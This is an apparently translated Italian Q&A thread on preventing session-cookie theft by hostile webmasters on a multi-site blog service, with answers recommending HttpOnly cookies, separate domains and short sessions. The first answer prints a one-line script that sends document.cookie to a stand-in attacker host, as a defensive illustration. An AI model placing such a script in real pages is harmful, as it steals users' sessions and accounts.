Previeni il dirottamento di sessione sul servizio blog?

3

Ho un servizio in cui i webmaster possono creare un sito web (compreso l'uso di javascript).

Un utente può inserire un commento sul sito web di un webmaster.

Un utente deve solo registrarsi e accedere una volta e può pubblicare commenti su tutti i siti con questo account. (1 cookie per tutti i sottodomini)

Come posso evitare che un sito Web "cattivo" ottenga il cookie con JavaScript (ad esempio l'ID di sessione)?

Dopo un po 'di ricerca: la crittografia dei cookie è un no go, il blocco di alcune funzioni javascript è un no go, il cookie di binding per ip è un no go.

Questo diventa un problema difficile, ma servizi come Blogger / Blogspot lo fanno, quindi deve essere possibile.

Qualcuno ha avuto una brillante idea?

    
posta Tinus Tate 05.12.2016 - 14:57
fonte

2 risposte

5

Puoi impostare l'attributo HttpOnly per impedire a un webmaster di estrarre il cookie tramite l'incorporamento di alcuni script:

<script>
new Image().src="//attacker-site.co.uk/"+escape(document.cookie);
</script>

Tuttavia, potrebbero utilizzare altri metodi di attacco dell'utente, come la visualizzazione di una casella di accesso e chiedere all'autore di autenticare quando tentano di inviare un commento, afferrando il nome utente e la password dell'utente nel processo.

L'unico modo per garantire questo è assicurarsi di insegnare agli utenti ad autenticarsi solo sul tuo dominio principale.

es. www.example.com

E avere i siti dei webmaster su un altro dominio.

es. mysite1.example.org , mysite2.example.org .

Quando invii un commento, ciascun sito effettua una richiesta AJAX su www.example.com che verifica l'autenticazione e quindi salva il commento se autenticato. Ciò impedirebbe ai webmaster di accedere al cookie, e se provano a chiedere all'utente le credenziali sarà da un'altra origine (dominio) quindi gli utenti non dovrebbero inviarli al sito del webmaster.

    
risposta data 05.12.2016 - 16:49
fonte
0

Supponendo che intendi proteggere da una terza parte intercettando e copiando il cookie, quindi ripetendolo per ottenere l'accesso?

Questo tipo di attacco di riproduzione è uno scenario spesso trascurato. Ci sono un paio di cose che dovresti fare:

  • Mantenere le durate della sessione relativamente brevi. Quindi, se qualcuno fa un attacco replay di successo, può farlo solo per un breve periodo.
  • Cattura qualcosa di unico per il cliente e assicurati di controllarlo periodicamente. Un esempio tipico di questo è quando si utilizza JWT, acquisire l'indirizzo IP dei client come parte dell'hash nel token & ogni poche richieste e / o ogni pochi secondi, controlla che l'hash sia ancora valido. Probabilmente non lo farai su ogni richiesta dato che questo può essere molto pesante per le risorse se hai molti utenti.
risposta data 05.12.2016 - 15:16
fonte

Leggi altre domande sui tag